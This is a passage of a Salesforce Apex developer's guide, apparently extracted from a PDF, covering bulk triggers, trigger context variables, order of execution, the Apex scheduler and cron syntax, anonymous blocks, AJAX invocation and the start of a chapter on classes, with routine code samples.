Bulk triggers can handle both single record updates and bulk operations like: Data import Bulk Force.com API calls Mass actions, such as record owner changes and deletes Recursive Apex methods and triggers that invoke bulk DML statements

Trigger Syntax
To define a trigger, use the following syntax:
trigger triggerName on ObjectName (trigger_events) { code_block }

where trigger_events can be a comma-separated list of one or more of the following events:
before insert before update before delete after insert after update after delete after undelete

Note: You can only use the webService keyword in a trigger when it is in a method defined as asynchronous, that is, when the method is defined with the @future keyword. A trigger invoked by an insert, delete, or update of a recurring event or recurring task results in a runtime error when the trigger is called in bulk from the Force.com API.

For example, the following code defines a trigger for the before insert and before update events on the Account object:
trigger myAccountTrigger on Account (before insert, before update) { // Your code here }

The code block of a trigger cannot contain the static keyword. Triggers can only contain keywords applicable to an inner class. In addition, you do not have to manually commit any database changes made by a trigger. If your Apex script completes

66

Invoking Apex

Trigger Context Variables

successfully, any database changes are automatically committed. If your Apex script does not complete successfully, any changes made to the database are rolled back.

Trigger Context Variables

All triggers define implicit variables that allow developers to access runtime context. These variables are contained in the System.Trigger class: Variable
isExecuting isInsert isUpdate isDelete isBefore isAfter isUndelete new

Usage Returns true if the current context for the Apex script is a trigger, not a Visualforce page, a Web service, or an executeanonymous() API call. Returns true if this trigger was fired due to an insert operation, from the Salesforce.com user interface, Apex, or the API. Returns true if this trigger was fired due to an update operation, from the Salesforce.com user interface, Apex, or the API. Returns true if this trigger was fired due to a delete operation, from the Salesforce.com user interface, Apex, or the API. Returns true if this trigger was fired before any record was saved. Returns true if this trigger was fired after all records were saved. Returns true if this trigger was fired after a record is recovered from the Recycle Bin (that is, after an undelete operation from the Salesforce.com user interface, Apex, or the API.) Returns a list of the new versions of the sObject records. Note that this sObject list is only available in insert and update triggers, and the records can only be modified in before triggers.

newMap

A map of IDs to the new versions of the sObject records. Note that this map is only available in before update, after insert, and after update triggers.

old

Returns a list of the old versions of the sObject records. Note that this sObject list is only available in update and delete triggers.

oldMap

A map of IDs to the old versions of the sObject records. Note that this map is only available in update and delete triggers.

size

The total number of records in a trigger invocation, both old and new.

Note: If any record that fires a trigger includes an invalid field value (for example, a formula that divides by zero), that value is set to null in the new, newMap, old, and oldMap trigger context variables. For example, in this simple trigger, Trigger.new is a list of sObjects and can be iterated over in a for loop, or used as a bind variable in the IN clause of a SOQL query:
Trigger t on Account (after insert) { for (Account a : Trigger.new) { // Iterate over each sObject }

67

Invoking Apex

Context Variable Considerations

// This single query finds every contact that is associated with any of the // triggering accounts. Note that although Trigger.new is a collection of // records, when used as a bind variable in a SOQL query, Apex automatically // transforms the list of records into a list of corresponding Ids. Contact[] cons = [select lastname from contact where accountid in :Trigger.new]; }

This trigger uses Boolean context variables like Trigger.isBefore and Trigger.isDelete to define code that only executes for specific trigger conditions:
trigger myAccountTrigger on Account(before delete, before insert, before update, after delete, after insert, after update) { if (Trigger.isBefore) { if (Trigger.isDelete) { // In a before delete trigger, the trigger accesses the records that will be // deleted with the Trigger.old list. for (Account a : Trigger.old) { if (a.name != 'okToDelete') { a.addError('You can\'t delete this record!'); } } } else { // In before insert or before update triggers, the trigger accesses the new records // with the Trigger.new list. for (Account a : Trigger.new) { if (a.name == 'bad') { a.name.addError('Bad name'); } } if (Trigger.isInsert) { for (Account a : Trigger.new) { System.assertEquals('xxx', a.accountNumber); System.assertEquals('industry', a.industry); System.assertEquals(100, a.numberofemployees); System.assertEquals(100.0, a.annualrevenue); a.accountNumber = 'yyy'; } // If the trigger is not a before trigger, it must be an after trigger. } else { if (Trigger.isInsert) { List<Contact> contacts = new Contact[0]; for (Account a : Trigger.new) { if(a.name == 'makeContact') { contacts.add(new Contact (lastname = a.name, accountId = a.id)); } } insert contacts; } } }}}

Context Variable Considerations

Be aware of the following considerations for trigger context variables:
trigger.new and trigger.old cannot be used in Apex DML operations.

68

Invoking Apex

Common Bulk Trigger Idioms

You can use an object to change its own field values using trigger.new, but only in before triggers. In all after triggers, trigger.new is not saved, so a runtime exception is thrown. trigger.old is always read-only. You cannot delete trigger.new.

The following table lists considerations about certain actions in different trigger events: Trigger Event Can change fields using
trigger.new before insert

Can update original object using an update DML operation Not applicable. The original object has not been created; nothing can reference it, so nothing can update it.

Can delete original object using a delete DML operation Not applicable. The original object has not been created; nothing can reference it, so nothing can update it. Allowed, but unnecessary. The object is deleted immediately after being inserted.

Allowed.

after insert

Not allowed. A runtime error Allowed. is thrown, as trigger.new is already saved. Allowed.

before update after update

Not allowed. A runtime error Not allowed. A runtime error is thrown. is thrown. Allowed. The updates are saved before the object is deleted, so if the object is undeleted, the updates become visible.

Not allowed. A runtime error Allowed. Even though a bad is thrown, as trigger.new script could cause an infinite is already saved. recursion doing this incorrectly, the error would be found by the governor limits. Not allowed. A runtime error is thrown. trigger.new is not available in before delete triggers.

before delete

Allowed. The updates are Not allowed. A runtime error saved before the object is is thrown. The deletion is deleted, so if the object is already in progress. undeleted, the updates become visible.

after delete

Not allowed. A runtime error Not applicable. The object has Not applicable. The object has is thrown. trigger.new is already been deleted. already been deleted. not available in after delete triggers. Not allowed. A runtime error Allowed. is thrown. trigger.new is not available in after undelete triggers. Allowed, but unnecessary. The object is deleted immediately after being inserted.

after undelete

Common Bulk Trigger Idioms

Although bulk triggers allow developers to process more records without exceeding execution governor limits, they can be more difficult for developers to understand and code because they involve processing batches of several records at a time. The following sections provide examples of idioms that should be used frequently when writing in bulk. Using Maps and Sets in Bulk Triggers Set and map data structures are critical for successful coding of bulk triggers. Sets can be used to isolate distinct records, while maps can be used to hold query results organized by record ID.

69

Invoking Apex

Defining Triggers

For example, this bulk trigger from the sample quoting application first adds each pricebook entry associated with the OpportunityLineItem records in Trigger.new to a set, ensuring that the set contains only distinct elements. It then queries the PricebookEntries for their associated product color, and places the results in a map. Once the map is created, the trigger iterates through the OpportunityLineItems in Trigger.new and uses the map to assign the appropriate color.
// When a new line item is added to an opportunity, this trigger copies the value of the // associated product's color to the new record. trigger oppLineTrigger on OpportunityLineItem (before insert) { // For every OpportunityLineItem record, add its associated pricebook entry // to a set so there are no duplicates. Set<Id> pbeIds = new Set<Id>(); for (OpportunityLineItem oli : Trigger.new) pbeIds.add(oli.pricebookentryid); // Query the PricebookEntries for their associated product color and place the results // in a map. Map<Id, PricebookEntry> entries = new Map<Id, PricebookEntry>( [select product2.color__c from pricebookentry where id in :pbeIds]); // Now use the map to set the appropriate color on every OpportunityLineItem processed // by the trigger. for (OpportunityLineItem oli : Trigger.new) oli.color__c = entries.get(oli.pricebookEntryId).product2.color__c; }

Correlating Records with Query Results in Bulk Triggers Use the Trigger.newMap and Trigger.oldMap ID-to-sObject maps to correlate records with query results. For example, this trigger from the sample quoting app uses Trigger.oldMap to create a set of unique IDs (Trigger.oldMap.keySet()). The set is then used as part of a query to create a list of quotes associated with the opportunities being processed by the trigger. For every quote returned by the query, the related opportunity is retrieved from Trigger.oldMap and prevented from being deleted:
trigger oppTrigger on Opportunity (before delete) { for (Quote__c q : [select opportunity__c from quote__c where opportunity__c in :Trigger.oldMap.keySet()]) { Trigger.oldMap.get(q.opportunity__c).addError('Cannot delete opportunity with a quote'); } }

Using Triggers to Insert or Update Records with Unique Fields When an insert or upsert event causes a record to duplicate the value of a unique field in another new record in that batch, the error message for the duplicate record includes the ID of the first record. However, it is possible that the error message may not be correct by the time the request is finished. When there are triggers present, the retry logic in bulk operations causes a rollback/retry cycle to occur. That retry cycle assigns new keys to the new records. For example, if two records are inserted with the same value for a unique field, and you also have an insert event defined for a trigger, the second duplicate record fails, reporting the ID of the first record. However, once the system rolls back the changes and re-inserts the first record by itself, the record receives a new ID. That means the error message reported by the second record is no longer valid.

Defining Triggers
Trigger scripts are stored as metadata under the object with which they are associated. To define a trigger in Salesforce.com:

70

Invoking Apex

Defining Triggers

1. For a standard object, click Setup Customize, click the name of the object, then click Triggers. For a custom object, click Setup Create Objects and click the name of the object. For campaign members, click Setup Customize Campaigns Campaign Member Triggers. For case comments, click Setup Cases Case Comments Triggers. For email messages, click Setup Cases Email Messages Triggers. 2. In the Triggers related list, click New. 3. Click Version Settings to specify the version of Apex and the API used with this trigger. If your organization has installed managed packages from the AppExchange, you can also specify which version of each managed package to use with this trigger. Generally, you should use the default values for all versions. This associates the trigger with the most recent version of Apex and the API, as well as each managed package. You can specify an older version of a managed package if you want to access components or functionality that differs from the most recent package version. You can specify an older version of Apex and the API to maintain specific behavior. 4. Select the Is Active checkbox if the trigger should be compiled and enabled. Leave this checkbox deselected if you only want to store the script in your organization's metadata. This checkbox is selected by default. 5. In the Body text box, enter the Apex for the trigger. A single trigger can be up to 32,000 characters in length. To define a trigger, use the following syntax:
trigger triggerName on ObjectName (trigger_events) { code_block }

where trigger_events can be a comma-separated list of one or more of the following events:
before insert before update before delete after insert after update after delete after undelete

Note: You can only use the webService keyword in a trigger when it is in a method defined as asynchronous, that is, when the method is defined with the @future keyword. A trigger invoked by an insert, delete, or update of a recurring event or recurring task results in a runtime error when the trigger is called in bulk from the Force.com API.

6. Click Save. Note: Triggers are stored with an isValid flag that is set to true as long as dependent metadata has not changed since the trigger was last compiled. If any changes are made to object names or fields that are used in the trigger, including superficial changes such as edits to an object or field description, the isValid flag is set to false until the Apex compiler reprocesses the code. Recompiling occurs when the trigger is next executed, or when a user re-saves the trigger in metadata. If a lookup field references a record that is deleted, Salesforce.com sets the lookup field to null, and does not run any Apex triggers, validation rules, workflow rules, or roll-up summary fields.

71

Invoking Apex

Triggers and Merge Statements

The Apex Trigger Editor When editing Visualforce or Apex, either in the Visualforce development mode footer or from within setup, an editor is available with the following functionality: Syntax highlighting The editor automatically applies syntax highlighting for keywords and all functions and operators. Search ( ) Search enables you to search for text within the current page, class, or trigger. To use search, enter a string in the search textbox and click find next. To replace a found search string with another string, enter the new string in the replace textbox and click replace to replace just that instance, or replace all to replace that instance and all other instances of the search string that occur in the page, class, or trigger. To make the search operation case sensitive, select the match case option. To use a regular expression as your search string, select the regular expressions option. The regular expressions follow JavaScript's regular expression rules. A search using regular expressions can find strings that wrap over more than one line. If you use the replace operation with a string found by a regular expression, the replace operation can also bind regular expression group variables ($1, $2, and so on) from the found search string. For example, to replace an <H1> tag with an <H2> tag and keep all the attributes on the original <H1> intact, search for <H1(\s+)(.*)> and replace it with <H2$1$2>.

Go to line ( ) This button allows you to highlight a specified line number. If the line is not currently visible, the editor scrolls to that line. Undo( ) and Redo ( ) Use undo to reverse an editing action and redo to recreate an editing action that was undone. Font size Select a font size from the drop-down list to control the size of the characters displayed in the editor. Line and column position The line and column position of the cursor is displayed in the status bar at the bottom of the editor. This can be used with go to line ( ) to quickly navigate through the editor.

Line and character count The total number of lines and characters is displayed in the status bar at the bottom of the editor.

Triggers and Merge Statements

Merge events do not fire their own trigger events. Instead, they fire delete and update events as follows: Deletion of losing records A single merge operation fires a single delete event for all records that are deleted in the merge. To determine which records were deleted as a result of a merge operation use the MasterRecordId field in Trigger.old. When a record is deleted after losing a merge operation, its MasterRecordId field is set to the ID of the winning record. The MasterRecordId field is only set in after delete trigger events. If your application requires special handling for deleted records that occur as a result of a merge, you need to use the after delete trigger event.

72

Invoking Apex

Triggers and Recovered Records

Update of the winning record A single merge operation fires a single update event for the winning record only. Any child records that are reparented as a result of the merge operation do not fire triggers. For example, if two contacts are merged, only the delete and update contact triggers fire. No triggers for records related to the contacts, such as accounts or opportunities, fire. The following is the order of events when a merge occurs: 1. The before delete trigger fires. 2. The system deletes the necessary records due to the merge, assigns new parent records to the child records, and sets the MasterRecordId field on the deleted records. 3. The after delete trigger fires. 4. The system does the specific updates required for the master record. Normal update triggers apply.

Triggers and Recovered Records

The after undelete trigger event only works with recovered recordsthat is, records that were deleted and then recovered from the Recycle Bin. These are also called undeleted records. The after undelete trigger events only run on top-level objects. For example, if you delete an Account, an Opportunity may also be deleted. When you recover the Account from the Recycle Bin, the Opportunity is also recovered. If there is an after undelete trigger event associated with both the Account and the Opportunity, only the Account after undelete trigger event executes. The after undelete trigger event only fires for the following objects: Account Asset Campaign Case Contact Contract Custom objects Event Lead Opportunity Product Solution Task

Triggers and Order of Execution

When you save a record with an insert, update, or upsert statement, Salesforce.com performs the following events in order. Note: Before Salesforce.com executes these events on the server, the browser runs JavaScript validation if the record contains any dependent picklist fields. The validation limits each dependent picklist field to its available values. No other validation occurs on the client side. On the server, Salesforce.com: 1. Loads the original record from the database or initializes the record for an upsert statement.

73

Invoking Apex

Triggers and Order of Execution

2. Loads the new record field values from the request and overwrites the old values. If the request came from a standard UI edit page, Salesforce.com runs system validation to check the record for: Compliance with layout-specific rules Required values at the layout level and field-definition level Valid field formats Maximum field length

Salesforce.com does not perform system validation in this step when the request comes from other sources, such as an Apex application or a Web Services API call. 3. Executes all before triggers. 4. Runs most system validation steps again, such as verifying that all required fields have a non-null value, and runs any user-defined validation rules. The only system validation that Salesforce.com does not run a second time (when the request comes from a standard UI edit page) is the enforcement of layout-specific rules. 5. Saves the record to the database, but does not commit yet. 6. Executes all after triggers. 7. Executes assignment rules. 8. Executes auto-response rules. 9. Executes workflow rules. 10. If there are workflow field updates, updates the record again. 11. If the record was updated with workflow field updates, fires before and after triggers one more time (and only one more time). Note: The before and after triggers fire one more time only if something needs to be updated. If the fields have already been set to a value, the triggers are not fired again. 12. Executes escalation rules. 13. If the record contains a roll-up summary field or is part of a cross-object workflow, performs calculations and updates the roll-up summary field in the parent record. 14. Commits all DML operations to the database. 15. Executes post-commit logic, such as sending email. Note: If you enable the Workflow Rule and Roll-Up Summary Field Evaluations critical update for your organization, Salesforce.com skips steps 7 through 13 during a recursive save. See What is the Spring '09 Workflow Rule and Roll-Up Summary Field Evaluations Update? in the Salesforce.com online help. Additional Considerations Please note the following when working with triggers: When Enable Validation and Triggers from Lead Convert is selected, if the lead conversion creates an opportunity and the opportunity has Apex before triggers associated with it, the triggers run immediately after the opportunity is created, before the opportunity contact role is created. For more information, see Customizing Lead Settings in the Salesforce.com online help. If you are using before triggers to set Stage and Forecast Category for an opportunity record, the behavior is as follows: If you set Stage and Forecast Category, the opportunity record contains those exact values. If you set Stage but not Forecast Category, the Forecast Category value on the opportunity record defaults to the one associated with trigger Stage. If you reset Stage to a value specified in an API call or incoming from the user interface, the Forecast Category value should also come from the API call or user interface. If no value for Forecast Category is specified and the

74

Invoking Apex

Operations That Do Not Invoke Triggers

incoming Stage is different than the trigger Stage, the Forecast Category defaults to the one associated with trigger Stage. If the trigger Stage and incoming Stage are the same, the Forecast Category is not defaulted. If you are cloning an opportunity with products, the following events occur in order: 1. The parent opportunity is saved according to the list of events shown above. 2. The opportunity products are saved according to the list of events shown above. Note: If errors occur on an opportunity product, you must return to the opportunity and fix the errors before cloning. If any opportunity products contain unique custom fields, you must null them out before cloning the opportunity.

Operations That Do Not Invoke Triggers

Triggers are only invoked for data manipulation language (DML) operations that are initiated or processed by the Java application server. Consequently, some system bulk operations do not currently invoke triggers. Some examples include: Cascading delete operations. Records that did not initiate a delete do not cause trigger evaluation. Cascading updates of child records that are reparented as a result of a merge operation Mass campaign status changes Mass division transfers Mass address updates Mass approval request transfers Mass email actions Modifying custom field data types Renaming or replacing picklists Managing price books Note: Inserts, updates, and deletes on person accounts fire account triggers, not contact triggers.

Before triggers associated with the following operations are only fired during lead conversion if validation and triggers for lead conversion are enabled in the organization:
insert of accounts, contacts, and opportunities update of accounts and contacts

When you modify an opportunity product on an opportunity, or when an opportunity product schedule changes an opportunity product, even if the opportunity product changes the opportunity, the before and after triggers and the validation rules do not fire for the opportunity. However, roll-up summary fields do get updated, and workflow rules associated with the opportunity do run. The getContent method for PageReference objects is not allowed in triggers.

Fields that Cannot Be Updated by Triggers

Some field values are set during the system save operation which occurs after before triggers have fired. As a result, these fields cannot be modified or accurately detected in before insert or before update triggers. Some examples include:
Task.isClosed Opportunity.amount* Opportunity.ForecastCategory Opportunity.isWon

75

Invoking Apex

Trigger Exceptions

Opportunity.isClosed Contract.activatedDate Contract.activatedById Case.isClosed Solution.isReviewed Id (for all records)** createdDate (for all records)** lastUpdated (for all records)

* When Opportunity has no lineitems, Amount can be modified by a before trigger. ** Id and createdDate can be detected in before update triggers, but cannot be modified.

Trigger Exceptions
Triggers can be used to prevent DML operations from occurring by calling the addError() method on a record or field. When used on Trigger.new records in insert and update triggers, and on Trigger.old records in delete triggers, the custom error message is displayed in the application interface and logged. Note: Users experience less of a delay in response time if errors are added to before triggers.

A subset of the records being processed can be marked with the addError() method: If the trigger was spawned by a DML statement in Apex, any one error results in the entire operation rolling back. However, the runtime engine still processes every record in the operation to compile a comprehensive list of errors. If the trigger was spawned by a bulk DML call in the Force.com API, the runtime engine sets aside the bad records and attempts to do a partial save of the records that did not generate errors. See Bulk DML Exception Handling on page 206.

If a trigger ever throws an unhandled exception, all records are marked with an error and no further processing takes place.

Apex Scheduler
Note: The Apex scheduler is currently available through a limited release program. Contact salesforce.com to verify if your organization can participate in the limited release program. To invoke Apex classes to run at specific times, first implement the Schedulable interface for the class, then specify the schedule using either the Schedule Apex page in the Salesforce.com user interface, or the System.schedule method. For more information about the Schedule Apex page, see Scheduling Apex in the Salesforce.com online help. Important: Salesforce.com only adds the process to the queue at the scheduled time. Actual execution may be delayed based on service availability. You can only have ten classes scheduled at one time. You can evaluate your current count by viewing the Scheduled Jobs page in Salesforce.com or programmatically using the Force.com Web services API to query the AsyncapexJob object. Use extreme care if you are planning to schedule a class from a trigger. You must be able to guarantee that the trigger will not add more scheduled classes than the ten that are allowed. In particular, consider API bulk updates, import wizards, mass record changes through the user interface, and all cases where more than one record can be updated at a time.

76

Invoking Apex

Apex Scheduler

Implementing the Schedulable Interface To schedule an Apex class to run at regular intervals, first write an Apex class that implements the Salesforce.com-provided interface Schedulable. To monitor or stop the execution of a scheduled Apex job using the Salesforce.com user interface, click Setup Monitoring Scheduled Jobs. For more information, see Monitoring Scheduled Jobs in the Salesforce.com online help. To stop execution of a job that was scheduled using the System.schedule method, use the System.abortJob method. The Schedulable interface contains one method that must be implemented, execute.
global void execute(SchedulableContext sc){}

Use the SchedulableContext object to keep track of the scheduled job once it's scheduled. The SchedulableContext method getTriggerId returns the Id of the CronTrigger object associated with this scheduled job as a string. Use this method to track the progress of the scheduled job. Use this method to instantiate the class you want to schedule. Tip: Though it's possible to do additional processing in the execute method, Salesforce.com recommends that all processing take place in a separate class. The following example implements the Schedulable interface for a class called mergeNumbers:
global class scheduledMerge implements Schedulable{ global void execute(SchedulableContext SC) { mergeNumbers M = new mergeNumbers(); } }

The following example uses the System.Schedule method to implement the above class.
scheduledMerge m = new scheduledMerge(); String sch = '20 30 8 10 2 ?'; system.schedule('Merge Job', sch, m);

You can also use the Schedulable interface with batch Apex classes. The following example implements the Schedulable interface for a batch Apex class called batchable:
global class scheduledBatchable implements Schedulable{ global void execute(SchedulableContext sc) { batchable b = new batchable(); database.executebatch(b); } }

Testing the Apex Scheduler The following is an example of how to test using the Apex scheduler. This is the class to be tested.
global class TestScheduledApexFromTestMethod implements Schedulable { // Run the scheduled job at midnight Sept. 3rd. 2022 public static String CRON_EXP = '0 0 0 3 9 ? 2022'; global void execute(SchedulableContext ctx) { CronTrigger ct = [SELECT id, CronExpression, TimesTriggered, NextFireTime FROM CronTrigger WHERE id = :ctx.getTriggerId()]; System.assertEquals(CRON_EXP, ct.CronExpression);

77

Invoking Apex

Apex Scheduler

System.assertEquals(0, ct.TimesTriggered); System.assertEquals('2022-09-03 00:00:00', String.valueOf(ct.NextFireTime)); Account a = [SELECT id, name FROM Account WHERE name LIKE '%test']; a.name = 'testScheduledApexFromTestMethod'; update a; } }

The following tests the above class:

@istest class TestClass { static testmethod void test() { Test.startTest(); Account a = [SELECT id, name FROM Account WHERE name LIKE '%test']; a.name = 'testScheduledApexFromTestMethod'; update a; // Schedule the test job String jobId = System.schedule('testBasicScheduledApex', TestScheduledApexFromTestMethod.CRON_EXP, new TestScheduledApexFromTestMethod()); // Get the information from the CronTrigger API object CronTrigger ct = [SELECT id, CronExpression, TimesTriggered, NextFireTime FROM CronTrigger WHERE id = :jobId]; // Verify the expressions are the same System.assertEquals(TestScheduledApexFromTestMethod.CRON_EXP, ct.CronExpression); // Verify the job has not run System.assertEquals(0, ct.TimesTriggered); // Verify the next time the job will run System.assertEquals('2022-09-03 00:00:00', String.valueOf(ct.NextFireTime)); System.assertNotEquals('testScheduledApexFromTestMethod', [SElECT id, name FROM account WHERE name LIKE '%test%'].name); Test.stopTest(); System.assertEquals('testScheduledApexFromTestMethod', [SELECT id, name FROM account WHERE name LIKE '%test%'].name); } }

Using the System.Schedule Method Note: The Apex scheduler is currently available through a limited release program. Contact salesforce.com to verify if your organization can participate in the limited release program. After you implement a class with the Schedulable interface, use the System.Schedule method to execute it. Note: Use extreme care if you are planning to schedule a class from a trigger. You must be able to guarantee that the trigger will not add more scheduled classes than the ten that are allowed. In particular, consider API bulk updates, import wizards, mass record changes through the user interface, and all cases where more than one record can be updated at a time. The System.Schedule method takes three arguments: a name for the job, an expression used to represent the time and date the job is scheduled to run, and the name of the class. This expression has the following syntax:
Seconds Minutes Hours Day_of_month Month Day_of_week optional_year

Note: Salesforce.com only adds the process to the queue at the scheduled time. Actual execution may be delayed based on service availability. The System.Schedule method uses the user's timezone for the basis of all schedules. The following are the values for the expression:

78

Invoking Apex

Apex Scheduler

Name
Seconds Minutes Hours Day_of_month Month

Values 059 059 023 131 112 or the following: JAN FEB MAR APR MAY JUN JUL AUG SEP OCT NOV DEC 17 or the following: SUN MON TUE WED THU FRI SAT null or 19702099

Special Characters None None

, - * / , - * ? / L W , - * /

Day_of_week

, - * ? / L #

optional_year

, - * /

The special characters are defined as follows: Delimits values. For example, use JAN, MAR, APR to specify more than one month. Specifies a range. For example, use JAN-MAR to specify more than one month. Specifies all values. For example, if Month is specified as *, the job is scheduled for every month. Specifies no specific value. This is only available for Day_of_month and Day_of_week, and is generally used when specifying a value for one and not the other. / Specifies increments. The number before the slash specifies when the intervals should begin, and the number after the slash is the interval amount. For example, if you specify 1/5 for Day_of_month, the Apex class runs every fifth day of the month, starting on the first of the month. L Specifies the end of a range (last). This is only available for Day_of_month and Day_of_week. When used with Day of month, L always means the last day of the month, such as January 31, February 28 for leap years, and so on. When used with Day_of_week by itself, it always means 7 or SAT. When used with a Day_of_week value, it means the last of that type of day in the month. For example, if you specify 2L, you are specifying the last Monday of the month. Do not use a range of values with L as the results may be unexpected.
, * ?

79

Invoking Apex

Anonymous Blocks

W Specifies the nearest weekday (Monday-Friday) of the given day. This is only available for Day_of_month. For example, if you specify 20W, and the 20th is a Saturday, the class runs on the 19th. If you specify 1W, and the first is a

Saturday, the class does not run in the previous month, but on the third, which is the following Monday. Tip: Use the L and W together to specify the last weekday of the month.

# Specifies the nth day of the month, in the format weekday#day_of_month. This is only available for Day_of_week. The number before the # specifies weekday (SUN-SAT). The number after the # specifies the day of the month. For example, specifying 2#2 means the class runs on the second Monday of every month.

The following are some examples of how to use the expression. Expression
0 0 13 * * ? 0 0 22 ? * 6L 0 0 10 ? * MON-FRI 0 0 20 * * ? 2010

Description Class runs every day at 1 P.M. Class runs the last Friday of every month at 10 P.M. Class runs Monday through Friday at 10 A.M. Class runs every day at 8 P.M. during the year 2010.

In the following example, the class proschedule implements the Schedulable interface. The class is scheduled to run at 8 A.M., on the 13th of February.
proschedule p = new proschedule(); String sch = '0 0 8 13 2 ?'; system.schedule('One Time Pro', sch, p);

Apex Scheduler Best Practices Salesforce.com only adds the process to the queue at the scheduled time. Actual execution may be delayed based on service availability. Use extreme care if you are planning to schedule a class from a trigger. You must be able to guarantee that the trigger will not add more scheduled classes than the ten that are allowed. In particular, consider API bulk updates, import wizards, mass record changes through the user interface, and all cases where more than one record can be updated at a time. Though it's possible to do additional processing in the execute method, Salesforce.com recommends that all processing take place in a separate class.

Anonymous Blocks
An anonymous block is an Apex script that does not get stored in the metadata, but that can be compiled and executed using one of the following: System Log console Force.com IDE The executeAnonymous Force.com Web Services API call:
ExecuteAnonymousResult executeAnonymous(String code)

80

Invoking Apex

Apex in AJAX

You can use anonymous blocks to quickly evaluate Apex on the fly, such as in System Log console or the Force.com IDE, or to write scripts that change dynamically at runtime. For example, you might write a client Web application that takes input from a user, such as a name and address, and then uses an anonymous block of Apex to insert a contact with that name and address into the database. Note the following about the content of an anonymous block (for executeAnonymous, the code String): Can include user-defined methods and exceptions. User-defined methods cannot include the keyword static. You do not have to manually commit any database changes. If your Apex script completes successfully, any database changes are automatically committed. If your Apex script does not complete successfully, any changes made to the database are rolled back. Unlike classes and triggers, anonymous blocks execute as the current user and can fail to compile if the script violates the user's object- and field-level permissions. Do not have a scope other than local. For example, though it is legal to use the global access modifier, it has no meaning. The scope of the method is limited to the anonymous block.

Even though a user-defined method can refer to itself or later methods without the need for forward declarations, variables cannot be referenced before their actual declaration. In the following example, the Integer int must be declared while myProcedure1 does not:
Integer int1 = 0; void myProcedure1() { myProcedure2(); } void myProcedure2() { int1++; } myProcedure1();

The return result for anonymous blocks includes: Status information for the compile and execute phases of the call, including any errors that occur The debug log content, including the output of any calls to the System.debug method (see Understanding the Debug Log on page 163) The Apex stack trace of any uncaught script execution exceptions, including the class, method, and line number for each call stack element

For more information on executeAnonymous(), see Web Services API Calls and SOAP Headers for Apex on page 387. See also Using the System Log Console on page 163 and the Force.com IDE.

Apex in AJAX
The AJAX toolkit includes built-in support for invoking Apex through anonymous blocks or public webService methods. To do so, include the following lines in your AJAX code:
<script src="/soap/ajax/15.0/connection.js" type="text/javascript"></script> <script src="/soap/ajax/15.0/apex.js" type="text/javascript"></script>

81

Invoking Apex

Apex in AJAX

Note: For AJAX buttons, use the alternate forms of these includes.

To invoke Apex, use one of the following two methods: Execute anonymously via sforce.apex.executeAnonymous (script). This method returns a result similar to the API's result type, but as a JavaScript structure. Use a class WSDL. For example, you can call the following Apex class:
global class myClass { webService static Id makeContact(String lastName, Account a) { Contact c = new Contact(LastName = lastName, AccountId = a.Id); return c.id; } }

By using the following JavaScript code:

var account = sforce.sObject("Account"); var id = sforce.apex.execute("myClass","makeContact", {lastName:"Smith", a:account});

The execute method takes primitive data types, sObjects, and lists of primitives or sObjects. To call a webService method with no parameters, use {} as the third parameter for sforce.apex.execute. For example, to call the following Apex class:
global class myClass{ webService static String getContextUserName() { return UserInfo.getFirstName(); } }

Use the following JavaScript code:

var contextUser = sforce.apex.execute("myClass", "getContextUserName", {});

Note: If a namespace has been defined for your organization, you must include it in the JavaScript code when you invoke the class. For example, to call the above class, the JavaScript code from above would be rewritten as follows:
var contextUser = sforce.apex.execute("myNamespace.myClass", "getContextUserName", {});

To verify whether your organization has a namespace, log in to your Salesforce.com organization and navigate to Setup Create Packages. If a namespace is defined, it is listed under Developer Settings. Both examples result in native JavaScript values that represent the return type of the methods. Use the following line to display a popup window with debugging information:
sforce.debug.trace=true;

82

Chapter 4
Classes, Objects, and Interfaces
In this chapter ... Understanding Classes Interfaces and Extending Classes Keywords Annotations Classes and Casting Differences Between Apex Classes and Java Classes Class Definition Creation Class Security Namespace Prefix Version Settings
A class is a template or blueprint from which Apex objects are created. Classes consist of other classes, user-defined methods, variables, exception types, and static initialization code. They are stored in the application under Setup Develop Apex Classes. Once successfully saved, class methods or variables can be invoked by other Apex scripts, or through the Force.com Web Services API (or AJAX Toolkit) for methods that have been designated with the webService keyword. In most cases, the class concepts described here are modeled on their counterparts in Java, and can be quickly understood by those who are familiar with them. Understanding Classesmore about creating classes in Apex Interfaces and Extending Classesinformation about interfaces Keywords and Annotationsadditional modifiers for classes, methods or variables Classes and Castingassigning a class of one data type to another Differences Between Apex Classes and Java Classeshow Apex and Java differ Class Definition Creation and Class Securitycreating a class in the Salesforce.com user interface as well as enabling users to access a class Namespace Prefix and Version Settingsusing a namespace prefix and versioning Apex classes

83

Classes, Objects, and Interfaces

Understanding Classes

Understanding Classes
As in Java, you can create classes in Apex. A class is a template or blueprint from which objects are created. An object is an instance of a class. For example, the PurchaseOrder class describes an entire purchase order, and everything that you can do with a purchase order. An instance of the PurchaseOrder class is a specific purchase order that you send or receive. All objects have state and behavior, that is, things that an object knows about itself, and things that an object can do. The state of a PurchaseOrder objectwhat it knowsincludes the user who sent it, the date and time it was created, and whether it was flagged as important. The behavior of a PurchaseOrder objectwhat it can doincludes checking inventory, shipping a product, or notifying a customer. A class can contain variables and methods. Variables are used to specify the state of an object, such as the object's Name or Type. Since these variables are associated with a class and are members of it, they are commonly referred to as member variables. Methods are used to control behavior, such as getOtherQuotes or copyLineItems. An interface is like a class in which none of the methods have been implementedthe method signatures are there, but the body of each method is empty. To use an interface, another class must implement it by providing a body for all of the methods contained in the interface. For more general information on classes, objects, and interfaces, see http://java.sun.com/docs/books/tutorial/java/concepts/index.html

Apex Defining Classes

In Apex, you can define top-level classes (also called outer classes) as well as inner classes, that is, a class defined within another class. You can only have inner classes one level deep. For example:
public class myOuterClass { // Additional myOuterClass code here class myInnerClass { // myInnerClass code here } }

To define a class, specify the following: 1. Access modifiers: You must use one of the access modifiers (such as public or global) in the declaration of a top-level class. You do not have to use an access modifier in the declaration of an inner class.

2. Optional definition modifiers (such as virtual, abstract, and so on) 3. Required: The keyword class followed by the name of the class 4. Optional extensions and/or implementations Use the following syntax for defining classes:
private | public | global [virtual | abstract | with sharing | without sharing | (none)] class ClassName [implements InterfaceNameList | (none)] [extends ClassName | (none)] { // The body of the class }

84

Classes, Objects, and Interfaces

Extended Class Example

